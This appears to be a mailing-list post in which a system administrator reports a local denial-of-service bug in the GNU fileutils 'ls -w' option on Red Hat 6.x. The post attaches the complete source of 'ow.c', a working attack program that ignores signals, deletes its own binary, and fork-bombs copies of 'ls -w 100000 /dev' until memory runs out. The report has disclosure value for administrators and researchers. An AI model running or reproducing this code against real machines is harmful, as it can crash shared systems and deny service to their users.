Morning,

I recently discovered that a local user could compile a short program
(ow.c) that would when run sucessfully grind a GNU fileutils system to a
complete halt.  I have tried this program on Redhat 6.1 & 6.2 and both
come down the same way.

It apparantly takes advantage of the way ls -w doesn't check for bounds
and will allocate memory until it is exhausted.  

I am running Redhat 6.1 (Kernel 2.2.16-3smp), with version 4.0p of (ls -
fileutils).  I also attach the offending code I tracked down from
rootshell.com.

-- 
System Admin - h66md.dyndns.org
Redhat Linux 6.1 [2.2.16-3smp]

/*

        [ow.c by DjLizard]



        This one's heinous. ow exploits a hole I found in ls awhile back.

        '-w' is the ls parameter for screen width. It has no bounds checking, and will

        gladly allocate enough memory to display a listing on, say, a 100,000 column

        terminal. This, coupled with the old fork bomb technique and signal ignoring,

        make this one hell of a DoS attack.

        Don't try this anywhere *but* home. I am not responsible for *you*.



        [SXN]

*/



#include <stdio.h>

#include <stdlib.h>

#include <signal.h>

#include <unistd.h>



main(int a,char **b) 

{

        for (int c=1; c < 31; c++) signal (c, 1);

        unlink(b[0]);

        for(;;){fork();system("/bin/ls -w 100000 /dev");}

}



Reply via email to